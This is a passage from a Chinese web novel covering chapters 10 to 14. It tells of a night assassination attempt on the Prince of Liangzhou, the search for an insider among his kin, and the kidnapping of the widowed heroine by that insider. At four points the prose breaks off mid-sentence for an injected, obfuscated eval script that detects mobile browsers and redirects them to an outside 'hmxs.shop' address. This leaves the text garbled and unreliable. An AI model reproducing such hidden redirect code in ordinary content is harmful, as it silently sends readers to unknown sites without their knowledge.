她从小见多了父亲后院的妻妾们为了争宠,无所不用其极,当真是可怜又可悲。作为高门贵女,她无法不嫁人,但至少能想办法为自己挑一个能掌控的夫君。 与李悆结交,初时是看中他性情纯善温和,得知他时日无多后,她更是坚定要嫁给对方。 这样,李悆活着,她不用担心后宅三妻四妾,诸多规矩。李悆过世,他身为守寡的侯夫人,便能名正言顺地守着侯府,再不用嫁人。 所以她回答周子炤的这番话,其实是有些冠冕堂皇了。 果然,周子炤闻言不由得感慨道:“阿玉真是好福气,能遇到三娘子这样情深意重的女子,就算只活到弱冠之年,应该也无遗憾了。” 明宜也叹息一声:“要是能健健康康的活着,情深也好义重也罢,又有什么重要呢?” 这话倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037474|194636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有粉饰。 只是又叫齐王殿下有些尴尬地摸了摸鼻子。 * 长安苑竹园的书房里,李赟独自坐在案后,翻阅着手中折本。 整个园中静谧无声,只有隐隐的风声和藏在草木中的虫鸣。 案上的油灯微微跳动了一下,那灯芯燃了许久,变成了一小小的一簇。李赟随手拾起细细的铜灯签轻轻挑了下灯芯,那火焰复又变得明亮。 与此同时,屋顶隐约发出细碎的声音,像是有猫儿踩在瓦片上。 来了! 李赟扯了下嘴角,露出一个讥诮的冷笑。 下一刻,扑通一声,一道黑影穿过屋顶,直直朝下方扑来。 利剑在暗灯光影下发出锃亮的寒光,刺向的方向正是案后那道身影。 这黑衣人速度快如闪电。 换成寻常人,只怕瞬间便成那剑下之鬼。 然而小凉王显然不是寻常人,在那利剑与他只有半尺距离时,他猛然一拍按桌,人已如魅影一般朝后退开,让对方的剑堪堪扑了个空。。 刺客反应也快,一击不中,立刻转动手腕,再次朝人刺去。 而原本两手空空的李赟,忽然从身下抽出一把长刀,又蓦地一跃而起,他不仅不躲闪,反倒是直直朝人迎上去。 一道刺耳的铮铮声骤然划破夜色。 紧接着哐当一声。 黑衣人手中的利剑就这般轻而易举被斩断,而他仿佛不可置信般,猛得抬起头,看向面前的人,一双露在黑色面罩外的眼睛,悚然睁大。 下一刻,一抹鲜血从他额尖涌出。 而后砰的一声,栽倒在地,没了气息。 与此同时,一道道相似的黑色蒙面人影,鬼魅一般,从屋顶窗户涌入,飞快朝李赟逼近,试图将其团团困住。 然而还未靠近,他们身后便跟上一群,不知从来冒出来的王府卫兵。 所谓螳螂捕蝉,黄雀在后。 李赟冷笑一声,飞身一脚踢向书案,那榆木案台砰的一声断成两节,飞向最前方那一位刺客。 刺客躲避不及,痛呼一声,重重摔倒在地。 李赟冷喝道:“一个不留!” 屋内顿时兵戎相见。 李赟持刀漠然地看着混乱场景,灰色眸子微微眯起。 这些刺客个个武功高强,绝非寻常刺客,一看便是经过严苛训练。 面对王府卫兵的刀剑,这些刺客没有半点畏惧和退缩,而是搏命一般想冲开阻拦,冲向内侧的小凉王。 显然都是死士。 有几个也确实成功,只是剑还未碰到李赟的身体,便被他手中那把长刀劈倒。 一时间,小小的书房鲜血四溅,血肉横飞。 眼见一个个都倒下,只剩最后一个刺客被团团围住。他眼神略显惊惶,紧握着手中剑,朝几步之遥的李赟,看了一眼,大吼一声便想朝对方飞掠而去。 然而就像之前失败的同伴一样,对方不过轻描淡写的一挥,他连人带剑便被劈倒在地,痛苦地喘息了几声,很快便没了气息。 “王爷,你没事吧?”楚飞收了刀,疾步走到李赟跟前询问道。 然而就在此时,地上咽气的刺客,忽然抬起手,从袖间射出两根细针。 李赟眉头一蹙,猛得将楚飞推开。 那细针从楚飞袍角擦过,李赟拿刀一挡,却只挡住一根,另一根斜斜刺入了他的腿上。 李赟只觉腿上一麻,不由自主往后踉跄了一步。 楚飞大惊失色,一刀将地上那还有半口气的刺客彻底送上黄泉路,然后迅速上前半跪在李赟跟前,将他腿上的那根细针拔下:“这针有毒!” 即是暗器自然有毒,而且是剧毒。 幸而刺得不深。 他说话间,李赟已果断挥刀,从针刺的地方狠狠划开,迅速将毒血放出。 涌出的鲜血染红了裤脚,在地上落了一小滩。 而他神色始终平静如常,仿佛感觉不到疼痛一般,只淡声开口:“我没事。”说着,扫了眼地上,“总共二十个刺客,但这里只有十九具尸首,还有一个趁乱逃走了,你赶紧带人去追。” 楚飞道:“王爷放心,永安园所有出口都已封锁,一只苍蝇都飞不出去。” “嗯。”李赟点头,冷然一笑,“我倒要看看内鬼是谁。” 11. 第 11 章 夜色渐深。 明宜正送周子炤出门,一个仆从急匆匆跑过来,气喘吁吁道:“殿下,二夫人,王爷那边出事了。” 两人异口同声问道:“出了何事?” “有刺客闯入竹园刺杀王爷,王爷受了伤。” 周子炤:“三娘子,我们快去看看。” “嗯。” 两人刚出院子,便见到原本宁静的长安园中不知何时多了许多带刀侍卫,像是在园中巡逻一般。 那带路仆从道:“其他刺客都当场被斩杀,只有一个逃走了,侍卫还在搜查。” 周子炤疑惑问:“很多刺客么?” 仆从心有余悸道:“嗯,小二十个呢。” 周子炤惊讶:“这么多?” 明宜心中自然也很诧异,但她想得是,以小凉王的本事,能让这么多刺客闯进他的院中? 是守卫疏漏还是引蛇出洞? 当然,去了便知。 李赟的竹园与兰园隔了半座永安园,走过去将近半柱香的功夫,因而他们刚刚在兰园,并未听到这边半点动静。 此时整座竹园一派繁忙,身着黑甲的王府卫兵正进进出出,见到两人,恭恭敬敬的打招呼。 周子炤摆摆手,阔步跨过月洞门,只是刚走进去,又蓦地转身,抬起袖子,挡在明宜眼前。 明宜不明所以地看向对方:“殿下,怎么了?” 周子炤神色凝重,声音发虚:“刺客的尸首都摆在院中。” 若是从前,明宜定然会骇然,但经过上次黑松驿的事,亲眼见了那么多死伤,如今面对尸体,已经泰然许多。 她轻笑了笑:“殿下不用担心,上回已经见过了。” 周子炤微微一怔,继而又干干一笑:“是哦。” 却也没放下袖子,而是挡着自己半张脸不去看地上,啧啧叫着往里面疾步走去。 明宜见他这惊慌失措的模样,勾唇笑了笑,抬步跟上。 院中果然摆了许多尸体,一眼看过去至少十几具,皆是黑衣蒙面,只是面上的黑布已经被扯开,露出了原本的样子。 每一个都浑身是血,死状狼狈不堪。 周子炤随手抓了院中一个老仆问道:“王爷在哪里?” “回殿下,王爷在寝房。” 周子炤点点头,带着明宜朝寝房走去。 那房门虚掩,他也不敲门,亟不可待推开门,长驱直入,急急问道:“表兄,你怎么样了?” “放心,死不了。”李赟冷清的声音从屋中云母屏风内传来。 周子炤颇有些夸张地舒了口气:“我和三娘子来看你了。” 明宜跟着对方越过屏风,一眼看到烛火中那靠坐在榻上的男人。 小凉王依旧一脸生人勿进的冷峻,听到两人进来,也没抬一下眼皮。 只是若仔细看,那张俊美的脸,此时在昏沉的烛火中,似乎多了几分平时未有的苍白。 周子炤对他的轻慢并不以为意,走上前自顾在对方身侧坐下,上下打量对方一眼:“当真没事?我怎么看你的脸色,好像不太对。” 李赟眼皮微微动了动,轻描淡写道:“嗯,中了点毒。” “中毒?”周子炤大惊失色。 明宜也不由得心下一惊。 李赟这才撩起眼皮,目光轻飘飘从周子炤脸上越过,落在站在榻边的明宜脸上。 “这里刚死了很多人,血腥气重,弟妹不该过来。” 明宜一愣,很快又反应过来,道:“听闻阿兄受了伤,我不放心,所以过来看看。阿兄的毒可严重?” 周子炤抓住李赟的双手,顺着她的话关切问道:“怎么中的毒?中了什么毒?” 李赟轻飘飘拂开他的爪子:“不小心中了暗器。” 周子炤轻呼道:“你怎么会中暗器?” 李赟失笑:“五郎说的什么话?我怎的就不会中暗器?” 周子炤:“你武艺那般高强,寻常人怎么能伤了你?” 李赟淡声道:“只要是人,就总有失手的时候。这里是凉州,不是你们京城,别说是受伤,生死也不过是家常便饭。” 周子炤有些尴尬地轻咳一声,又道:“表兄,你可不能出事,你出事了凉州怎么办?大宁怎么办?”又问,“到底是什么毒?很严重吗?” 李赟道:“别担心,已经及时放了血,毒还未来得及散开,无甚大碍。” 周子炤再次舒了口气:“那就好,刺客到底是什么人??” 李赟轻笑:“还能是什么人?北狄那边的细作罢了。” “竟然能摸到永安园,那肯定不是一般的刺客。” “大约是有内应吧?” 明宜想起那晚死在佛堂的李家表兄,只怕那便是内应,而李赟想来已料到此事,这场刺杀无非是引君入彀罢了。 “内应?”周子炤却是面露惊诧,但见李赟神色平淡如常,不由得皱起眉头问道,“表兄,发生这种事你怎还如此淡定?” 李赟不以为意地扯了下嘴角:“北狄人一直想要我的命,刺杀我也不是一次两次,何须大惊小怪?” 周子炤默了片刻片刻,幽幽叹了口气:“我几位兄长,都说凉王麾下十万兵马,在凉州,百姓只知凉王不知天子,还向父皇提议削减凉州兵权,依我看他们做这个凉王,不到一年就屁滚尿流回京城。凉王可以没有朝廷,但朝廷却不能没有凉王。” 李赟抬眸看了看他,片刻后才轻笑一声:“五郎,这话以后可不能乱说。” 周子炤不以为意道:“这里又没有外人,兄弟之间说几句私话而已,天高皇帝远的,你怕甚?”说完忽然想到什么似的,转头看向一旁一直沉默不言的明宜,轻笑了一声,“弟妹也不是外人。” 明宜微微一愣,又很快反应过来,周子炤乃是李悆表兄,自己确实也算这位殿下的弟妹。 李赟顺着周子炤的话,轻飘飘看了眼明宜,很快又将目光挪开,淡声道:“天色已晚,五郎和弟妹回去早些休息罢。” “嗯。”周子炤赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037475|194636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点头,“表兄你也好好休息,明早我再来看你。” 就在这时,楚飞从外边急匆匆走进来,先是客气地同周子炤与明宜行了个礼,然后上前拱手道:“王爷,园中已经搜遍,未曾找到那刺客踪迹。” 李赟还未说话,周子炤先是轻呼道:“那定是已经跑出园中,紫山这么大,只怕是不好抓了。” 楚飞却是摇了摇头:“所有出口都已经封锁,那刺客逃不出去的。” 李赟微微蹙眉:“园中所有人都已一一核查过?没有多出新面孔?” “嗯,王府族亲和下人都查过,没有新面孔。”说着摸摸头,不解道,“园子说到底也就只有这么大,莫非这刺客长了翅膀?” 明宜想了想问道:“院子里那些刺客都是新面孔吗?” 楚飞回道:“嗯,都未曾见过。” 明宜道:“若园中没有新面孔,那漏网之鱼或许便不是新面孔。” 楚飞眨眨眼睛,显然没听懂。 明宜则看向李赟。 李赟也好整以暇朝她看过来,淡声道:“弟妹继续说。” 明宜原本不想多事,但自己作为小凉王的弟媳,与李赟算同一根绳上的蚂蚱,漏网的刺客对自己来说也是一个风险。 她抿了抿唇,继续道:“刺杀阿兄的刺客,定都是抱着必死之心的死士,院中那些刺客也都已赴死,为何偏偏剩一个贪生怕死逃走?而且还逃的这般顺利。有没有可能那人本就是园中人?” 既然有亲表兄与北狄勾结,还有其他内鬼也不足为奇。 周子炤恍然大悟点头:“对哦表兄,你既然说有内应,这逃走之人极有可能就是那内应。蒙上脸可以来当刺客,扯下面罩便是王府里的人。” 相对于他的惊讶,李赟依旧是一脸平常,只轻描淡写点点头道:“嗯,说的有道理。楚飞,你把族亲和园中所有下人再仔细一个一个排查一遍。” 楚飞拱拱手:“明白。” 然后又似是想到什么似的,一脸认真地看向周子炤和明宜。 周子炤眨眨眼睛,抬手指了指自己,噗嗤笑道:“怎么?你怀疑本王和你们家二夫人?” 楚飞没说话,只又看向李赟。 李赟冷冷瞪他一眼,随口道:“殿下和二夫人才到凉州几日?” 楚飞却是认真回道:“齐王殿下已到凉州三个月零五天,二夫人刚好是第八日。”说完才有些心虚地吐吐舌头,“他们都没来过长安园,做不了内应。” 李赟脸上难得露出一丝无奈之色,挥挥手没好气道:“行了,赶紧下去吧。” 楚飞赶紧拱手:“收到。” 待人离开,周子炤乐不可支道:“表兄,楚飞真是个妙人。” 李赟扯了一下嘴角:“就是个榆木脑袋。”说着又看向明宜,眼神有些莫测,“多谢弟妹提醒,你的考虑很周全。” 话是这么说,但他的语气平淡无澜,只怕自己想到的他早已想到。 明宜心中有些懊恼,果然还是不该多事。 12. 第 12 章 从竹园出来,与周子炤道别后,明宜踏上了回兰园的小径,沿路不时有王府卫兵在巡逻搜查。 走了一段,白芷才终于小心翼翼低声问道:“王爷哪里受伤了?很严重吗?” 明宜脑中浮上李赟被烛火映照的那张脸,虽然面色苍白,但神色如常,应是无甚大事,于是摇摇头:“不严重。” “听说有刺客逃走了,那我们会不会有危险?”白芷又问。 说话间,两人已快行至兰园,远远便看到园门口站着几个带刀侍卫。明宜轻笑了笑,朝那边努努嘴:“那应该没有。” 白芷看到门口的高大侍卫松了口气,想了想又小声道:“这凉州果然是不太平,先前还总想着凉王掌管十万兵马,权势滔天,在河西与皇帝也差不多,现在想来是我太天真了。被北狄人天天盯着,凉王的位子可真是不好坐。” 明宜轻笑了笑,低声提醒她道:“这些话咱们回了长安,私下说说无伤大雅。但这里是凉州,千万别再说,当心隔墙有耳。” 白芷看了一眼前方的卫兵,吐吐舌头:“嗯,知道了。” 知道院子周围有凉王精卫看守,明宜没有什么好担心的,回了院子洗漱上了床,早早去会周公。 兰园随着明宜的歇息很快安静下来,而另一边的竹园,却始终有卫兵进进出出。 “王爷,你怎么样了?”楚飞本是进门报告,可刚越过屏风,便见靠坐在榻上的李赟,脸色惨白,汗如出浆。 李赟眉头紧锁,呼吸有些粗重,攥了攥拳头,半晌才慢慢抬起眼皮,面无表情看向榻边的人,淡声回道:“无妨。” 楚飞却是忧心忡忡:“是不是残毒太厉害?我还是把大夫找来瞧瞧。” “不用,已经吃过解毒丸,熬过今晚自然就好了。” 楚飞虽然见过几次这种状况,却还是忍不住担心,只是不等他再问,李赟已经挥手将他打断,话锋一转:“怎么样了?” 楚飞上前一步低声道:“我让人仔细将园中所有人都排查了一遍,果然有几个人有问题,但目前还不确定到底是谁? 李赟点点头:“嗯,那就仔细盯着,先别打草惊蛇。” “明白。”楚飞点头,又想到什么似的,好整以暇道,“若不是二夫人提醒,我还以为那逃走的刺客,也是外来之人,只怕当真让他成了漏网之鱼。” 李赟阖上双眸淡声道:“你是该学着再机警一些。” 楚飞摸摸后脑勺:“小的愚钝。”说着又眨眨眼睛看向对方,“所以王爷一早就猜到那刺客是园内的人?” 不等李赟回答,他又拍拍额头:“也对,王爷既猜到他们行动,提前做好防备,又能察觉刺客少了一个,定然猜到那逃走的是园内人。” 李赟不置可否,只淡声问道:“兰园那边人手派了多少?” “按着王爷吩咐,派了十人,皆是精锐,就算苍蝇都飞不进去。” 李赟点点头,没有再说什么。 楚飞又想到什么似的,随口道:“二夫人看着是个弱不禁风的京城千金,倒是比我想的更有胆识。可惜侯爷英年早逝,二夫人年纪轻轻就守了寡。据说京城比我们凉州规矩多很多,寡妇的日子只怕不好过。” 李赟再次掀开双眸看上他,却半晌没有开口。 楚飞被这双深灰色的眸子看得有些发憷,嚅嗫道:“王爷,怎么了?” 李赟收回目光,摆摆手,淡声道:“下去吧,让我休息会。” 楚飞忙拱手:“那王爷你好好休息。” 李赟已经合上双眸躺倒在床榻上。 随着楚飞出门,屋内变得一片寂静。 李赟想要睡去却始终睡不着,腿上的疼痛可以忽略,但身上忽冷忽热,冷汗热汗交替而出,让他的衣服很快被汗湿,心中也变得十分焦躁。 他猛得掀开被子,是重重喘了几口气,抬手摸了摸额头,早已濡湿一片。 受伤对他来说不过家常便饭,中毒也不是一次两次,最严重的一次,曾让他昏迷整整两天两夜,今晚这点伤实在不值一提。 可不知为何? 却让他心情莫名烦闷。 他走下床,决定出门透透气。 只是刚踩在地上,腿上的伤口便涌上一股剧烈的刺痛,他不以为意地扯了下嘴角,毫不犹豫地继续往外走。 他已经习惯疼痛,甚至有种快感,心中烦闷因此都少了几分。 “王爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037476|194636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”门口的侍卫见他出来,忙跟上。 他原本抬手想让人退下,但手到半空又放下,只一言不发继续往外走,任由两个侍卫跟在身后。 半夜的永安园有股诡秘的幽静,就连巡逻的卫兵都显得有几分鬼魅,只有过来打招呼的时候,变得真实。 李赟漫无目的走着,他对这座园子既熟悉而又陌生。 少时他寒暑都会来,袭爵之后,便只有每年祭祖时来园中看一眼。 毕竟,一个人来这偌大的别业,实在有些无趣。 此时已过子时,山中夜色深沉,他沿湖而行,穿过游廊,踏上小径,穿过茫茫夜色,前方忽然出现一座院落,院中灯火摇曳。 他微微一怔,反应过来是兰园,脚下顿了片刻,又继续往前。 守在院门的两个侍卫见到他,忙上前要行礼,被他抬手制止,示意他们不要出声,然后又示意身后的侍卫,停在原地,自己兀自踏进了院落的月洞门。 院中的人已经休息,整座院子透出一股宁静之感,隐约有含糊不清的呓语从屋内传来。 李赟看着那漆黑的屋子,正要转身离去,忽然听到里面响起一道声音:“娘子,你醒了?” “嗯,睡太早,有些睡不着,我起来看看书,不用管我。” “哦。” 屋内复又安静下来,只是下一刻,漆黑的屋中亮起了一盏烛光,影影绰绰从窗牖透出来。 一道玲珑身影印在窗格上。 明宜坐在榻上微微低头,翻阅着手中书卷。灯光偶尔跳动,那映照在窗上的身影也便随着灯光微微跳动。 李赟望着那窗上身影良久,忽然一只野猫在院中蹿起,将他唤回神。 他暗暗深吸了口气,将目光从窗上收回,悄无声息踅身离去。 屋内正在看书的听到明宜,听到屋外的猫叫,轻轻将窗子掀开,半张脸朝外面瞧去。夜灯之下,她没看到猫儿的身影,却似乎看到一道高大挺拔的身影从月门闪过。 因为只匆匆一瞬,那身影便已经消失不见,她还未来得及看清。 她觉得那身影颇有些眼熟,似是李赟,但想着对方此时因在屋中养伤,应是与他身形相似的巡逻侍卫。 13.第 13 章 翌日清晨,李赟那边果然传话去浣花厅用早膳。 明宜赶到时,屋中倒是比上回热闹许多,族亲们正争相与李赟说话。 “王爷,永安园到底不比王府,昨晚虽然刺杀失败,但毕竟有刺客逃走,保不准暗中潜伏,伺机而动,依老夫看,王爷不如今日就下山吧。” “是啊,为侯爷服丧,并不是一定要在永安园。” “山中藏身之地颇多,刺客只怕还藏在山中,王爷在明,敌人在暗。王爷乃凉州脊梁,切不能有半点闪失。” 众人你一句我一句,说个不停,却不知是真关心小凉王安危,还是趁机献媚拍马屁。 李赟面无表情,始终垂眸慢条斯理地呷着茶,一言不发。倒是周子炤听不下去了,轻咳一声,道:“表兄岂会被几个刺客吓到?” 他虽然语气依旧不大正经,但毕竟是皇子,众人顿时噤若寒蝉。 而李赟这才缓缓撩起眼皮,先是朝走进来的明宜瞧了眼。 明宜默默与对方行了个礼。 李赟点点头,将手中茶盏放下,淡淡扫了眼席上激动的众人,忽然抬手轻轻挥了挥,阻止他们再次开口:“诸位族亲心系本王,本王甚是欣慰。”说到这里,他微微顿了下,不紧不慢转头看向明宜,冷不丁问道,“弟妹也觉得本王该提前下山?” 明宜没料到他会忽然问自己,蓦地怔了下。 不过旋即一想,如今是在为李悆服丧,若要提前结束下山,于情于理都该问问自己这个侯夫人的意见。 只是那漏网之鱼还未抓到,李赟定不会让人离开永安园,这句问话显然只是客套一下,或者说,对方是故意将问题抛给自己。 此时众人皆望着她,她轻笑了笑道:“我以为各位族亲说得是,服丧并不一定要在永安园,阿玉若是知道阿兄遇险,定然也愿意阿兄早日下山。” 李赟若有所思点点头:“既是如此,那用过早膳,我们就下山。” 明宜没想到对方竟当真顺着自己的话答应下山,心中不由得狐疑。 众人顿时如释重负般松了口气。 明宜默默环顾了眼,这才反应过来,原来这些族亲担忧的并非是李赟,而是怕自己受牵连。 思及此,她又看向李赟,漏网之鱼还未抓到,他当真要下山? 还是他已经查到是谁? 明宜虽知道不该多事,但免不了有些好奇,只是一顿早膳下来,她暗暗观察,却并未看出谁有异常,也并未从李赟眼中看出任何端倪,仿佛已认定那刺客已不在永安园中。 然而就在快散席时,楚飞带着两个侍卫,忽然风风火火从外面跑进来,指着席间一人怒吼道:“将人拿下!” 明宜与其他人一眼,都吓了一大跳。 那是个二十多岁的年轻公子,虽是高鼻深目,却颇有几分英俊儒雅,在李氏一众族亲中,算得上翘楚才俊。 明宜先前便注意过他,见他神色无异,并未将其与刺客联系起来。 席上顿时一阵嘈杂,显然都是被这突如其来的变故吓到。 而那人却显然没打算束手就擒,两个侍卫还未碰到他身体,他便已从座位上一跃而起, 却不是往外逃,而是蓦地往里冲过去。 楚飞立马拔刀跟上:“王爷当心!” 那人在冲到李赟前方一米处时,却忽然顿下脚步不再上前。 他目光朝左右各扫了一眼,然后牙一咬,猛得蹿到明宜身侧,抬手将她肩膀攥住,一把冰凉短刀瞬间贴在了女人纤细的脖颈处。 “喂……喂……你作何?”周子炤吓得跌坐在地。 明宜心中叫苦不迭,刚刚这人明显是在她和周子炤之间有片刻的犹豫。 有没有搞错? 周子炤再不受宠,那也是封了王的皇子,小凉王的亲表弟,挟持他再怎么也比挟持自己这个新寡的侯夫人强吧? 李赟倒是一动未动,只是面色冷沉地看着这一幕,哂笑了声道:“李澄,原来是你!” “王爷,请允我离开!不然我就杀了二夫人。” 李澄边说边将明宜从座位拽起。 楚飞怒喝:“李澄,你胆敢伤害二夫人,我叫你碎尸万段!” 席上其他人,虽然被吓到,却也不忘义愤填膺怒骂指责。 明宜明显感觉身旁这人呼吸变粗,手开始发抖。 李赟倒是依旧一派从容之色,那双深邃灰眸微微眯起,一边冷冷望着李澄,一边抬手示意所有人闭嘴,然后才不紧不慢开口:“李澄,你放了二夫人,之前做过的事,我可以不与你计较!” 李澄颤抖着声音道:“澄乃王爷族弟,王爷做派澄岂会不知?既然澄已暴露,王爷怎可能放过我?” 边说边拽着明宜往外走。 楚飞想要上前,被李赟抬手制止。 “让他走!”顿了下,又轻飘飘补充一句,“李澄,若你胆敢伤害二夫人半根汗毛,本王会让你阿嫂侄儿给你陪葬。” 李澄骇然般睁大眼睛。 他顾不得多想,咬咬牙道:“等我安全离开,自然会放了二夫人。” 说罢,拖着明宜出了门,到了院外,又打了个响亮的呼哨。片刻后,哒哒马蹄声传来,一匹黑色骏马赫然出现。 李澄拽起明宜上马,马鞭用力一挥,绝尘而去。 浣花厅在这马蹄声中乱成一团。 楚飞诚惶诚恐看向李赟。 对方面色冷沉,恨铁不成钢般看了他和几个侍卫一眼,没好气道:“愣着作何?还不快去追!” “哦,属下这就去。”楚飞心虚地抿抿嘴,拱手道。 李赟又挥手让族亲下去,等人散开,才抬手疲惫地揉了揉额角。 周子炤挪动屁股,上前忧心忡忡问道:“表兄,那李澄什么人?他会不会对三娘子不利?” 李赟沉默片刻,将靠在眉间的手指放下,淡声道:“他是我一个族弟,双亲早逝,喜爱诗书,这些年一直帮忙看守永安园,在园中读书,我确实没料到是他。”说到这里,他略微沉吟片刻,“但以他的性子,应该不会伤害无辜。” 说罢,浓眉微微蹙了蹙,脑中浮上刚刚明宜那张惊惶无助的脸。 “都能刺杀你,还不会伤及无辜?还”周子炤闻言却是不以为然,又不满地嗔怒道,“都怪楚飞太莽撞!阿玉才下降,若是三娘子有个什么闪失,阿玉只怕在天之灵都会怪罪我们未能照顾好他夫人。” 李赟面无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041128|194636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情看他一眼,倏地起身,阔步朝外走去。 “哎,表兄——”周子炤反应过来,赶紧也追上去,“等等我!” * 黑色骏马在林中呼啸狂奔,虽然林中道路崎岖,荆棘丛生,但这马儿却如履平地,仿佛已经在林中奔跑过无数次。 趴在马背上的明宜,只被颠得头晕眼花。 也不知过了多久,身后的男人才蓦地勒紧缰绳,吁了一声。 李澄跳下马,拱手朝马背上颇有些狼狈的女人拱了拱手:“二夫人,得罪了!” 明宜深吸一口气,捋了捋散乱的鬓发,蓦地从马背跳下。见李澄如临大敌般拔出腰间短刀,她赶忙摆摆手道:“你别紧张,我不喊也不叫,你想作何,我都配合。” 李澄总共也就与这位侯夫人打过两三次照面,对方看起来是个温婉柔弱的京城贵女,却不想她被挟持,竟然还如此镇定,倒是一时叫他有些不知如何是好,他支支吾吾道:“二夫人为何不怕我?” 明宜轻笑道:“刚刚在浣花厅,你用短刀挟持我时,饶是再慌张无措,你的手指一直用力抵在刀柄和我的脖颈之间,想来是怕不慎刺伤我,可见你并不打算伤我。” “让夫人受惊了。”李澄讪讪道,然后抬手在马背上拍了拍,朝一条分岔路指了指,道:“逐风,快去那边!” 那马儿彷佛通灵性一般,扬起蹄子,便朝那岔路狂奔而去。 李澄又对明宜拱了拱手:“还请夫人随我来!” 明宜心知对方是用马儿将追兵引走,自己则从另外的路逃生。 李澄见她没做犹豫便跟上,稍稍松了口气,面露愧疚道:“二夫人,我也是别无他法,不过你放心,等我下了山,就放你走。” 明宜道:“你叫李澄?是阿玉族兄?” 李澄点头:“我祖父乃是老凉王的堂弟。” 明宜已看出他并非恶人,只怕做刺客是有难言之隐,便又问道:“你为何要刺杀王爷?” 对方沉默片刻,才低声回道:“我并未想杀王爷,也知王爷绝不会死在刺客手中,我只是……” “只是为那些刺客领了路?那我问你,为何要为那些刺客领路?” 明宜的语气带了几分咄咄逼人,原本就已慌乱的李澄愈发面色惨白,支支吾吾道:“我……我……” 额头冷汗直冒,一句完整的话都说不出来。 明宜自顾道:“所以你是被人要挟,不得已为之。” “二夫人……”李澄哑然。 明宜没继续问个所以然,而是话锋一转:“你下了山又如何?难不成觉得自己能逃出凉州?” 李澄犹疑道:“我……自有办法。” 明宜:“你的办法莫非是等着那位琅表兄来帮你?” 李澄惊骇地转头看向她。 明宜继续道:“你等不到了。” “你……你什么意思?” “他死了。” “什么?” 李澄顿住脚步,睁大眼睛看着她,半响才反应过来:“他已经被王爷杀了?” 明宜不置可否,只道:“所以没人会来帮你离开凉州。” 李澄惊惶得身体都开始有些摇晃。 14.第 14 章 明宜道:“你若是想活命,唯一的机会,便是带我回去。”顿了下,又补充一句,“我可以帮你向王爷求情。” 李澄面色惨白望着他,嘴唇翕张片刻,却一句话没说出来。 明宜挑挑眉:“你不信我?” 李澄点点头,又摇摇头,对方既然知道杨琅的事,定然不会骗他。半晌之后,他自嘲一笑:“二夫人的好意我心领了,但王爷向来眼中容不得沙子。我若回去,他定会杀了我。” 明宜心中一怔,她劝说对方回去,不过是为求自保。她一个人生地不熟的女子,若是被他带下山,能不能安然无恙回去,实在不好说。 所以必须想办法阻止他离开。 但显然李赟积威多时,凶名在外,自己三言两语,并不能说服他自投罗网。 正欲想办法再劝说一番,只听李澄幽幽叹息一声:“既然琅表兄身死,阿嫂和侄儿们也就安全了,我也再无牵挂。”说着又对明宜作了一揖,“二夫人,方才得罪了,你走吧,王府的人应该已经快到先前那分岔路了。” 明宜没想到对方忽然就要放了自己,心下一面惊喜,一面又有些错愕:“那你要怎么办?” 李澄道:“待我与阿嫂侄儿别过,便去王府请罪领死。” 说着作了个揖,便转身决然离去。 明宜怔忡地望着对方离去的背影,一时有些不可置信。 一场惊心动魄的遭遇,竟这么轻而易举结束? 与此同时,林中似有兽鸣传来,她一个人不敢长久停留,赶紧转身朝来时路寻去。 行了没多久,便隐约听到马蹄声。 她重重舒了口气。 果不其然,下一刻,便将李赟领着人从林中疾驰而来。 “二夫人!是二夫人!”跟在后面的楚飞见到明宜,忍不住兴奋大叫。 “吁——” 李赟的马跑得最快,堪堪在明宜身侧停住。 男人从马背一跃而下,带起的劲风伴随一股松香,侵入明宜鼻息间,让她下意识往后踉跄了一步。 她并不知此时自己鬓乱钗横,面颊微红,全然一副楚楚可怜的模样。 李赟微微眯了眯眼睛,反手从马背扯下一件斗篷,照在她头上,将那头散乱鬓发,又沉声问道:“弟妹,你没事吧?” 陡然被带着陌生气息的斗篷罩住,明宜先是怔了一怔,继而反应过来,先前在马背颠簸一路,只怕是形容狼狈,她下意识抓住斗篷,点点头:“嗯,我没事。” “李澄呢?” 